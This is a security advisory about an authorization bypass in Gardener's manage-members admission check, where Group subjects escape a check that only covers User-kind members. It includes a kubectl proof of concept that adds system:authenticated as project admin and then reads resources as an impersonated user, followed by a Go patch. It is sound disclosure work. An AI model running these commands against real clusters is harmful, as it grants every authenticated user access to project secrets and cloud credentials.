GHSA-gfjv-gqf2-c888

## Overview The `manage-members` custom verb authorization check in the Gardener API server's `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access. ## Technical Details The official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states: <img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />

However, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true: ```go func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool { if apiequality.Semantic.DeepEqual(oldMembers, members) { return false } if userIsOwner(userInfo, owner) { return false } var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members) // ... return !oldHumanUsers.Equal(newHumanUsers) } ``` The `isHumanUser()` function at `admission.go` only matches `Kind == "User"`: ```go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } ``` Kind: "Group" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

## Steps to reproduce <img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />

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_Proof of concept:_ 1. Verify current project membership and confirm the owner has `manage-members` permission: ```bash # Project members before the test: $ kubectl get project local -o yaml # members: # - apiGroup: rbac.authorization.k8s.io # kind: User # name: admin-user # role: admin # roles: # - owner

# Confirm the owner CAN manage-members (expected) $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user yes ``` 2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`: ```bash # After adding test-admin-user as admin (no uam role): $ kubectl get project local -o yaml # members: # - apiGroup: rbac.authorization.k8s.io # kind: User # name: admin-user # role: admin # roles: # - owner # - apiGroup: rbac.authorization.k8s.io # kind: User # name: test-admin-user # role: admin

# Confirm test-admin-user does NOT have manage-members $ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user no ``` 3. Verify `test-admin-user` cannot add a human User member (the check works for Users): ```bash $ kubectl patch --as=test-admin-user project local --type=merge -p '{ "spec": { "members": [ { "kind": "User", "apiGroup": "rbac.authorization.k8s.io", "name": "new-human-user@example.com", "role": "viewer" } ] } }' Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects" ``` 4. Bypass the check by adding a Group subject instead: ```bash # This should be denied but ISN'T - the manage-members check is bypassed $ kubectl patch project local --as=test-admin-user --type=json -p '[ { "op": "add", "path": "/spec/members/-", "value": { "kind": "Group", "apiGroup": "rbac.authorization.k8s.io", "name": "system:authenticated", "role": "admin", "roles": ["admin"] } } ]'

project.core.gardener.cloud/local patched ``` 5. Verify the Group was added to project members: ```bash $ kubectl get project local -o yaml # members: # - apiGroup: rbac.authorization.k8s.io # kind: User # name: admin-user # role: admin # roles: # - owner # - apiGroup: rbac.authorization.k8s.io # kind: User # name: test-admin-user # role: admin # - apiGroup: rbac.authorization.k8s.io # kind: Group # name: system:authenticated # role: admin ``` 6. Demonstrate the impact - any authenticated user now has project access: ```bash # As a random user $ kubectl --as=random-user@example.com get shoots -n garden-local NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m ``` >_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._

--- ## Security Impact - Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users). ## Patching & Remediation 1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change: ```go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } ``` To: ```go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } ```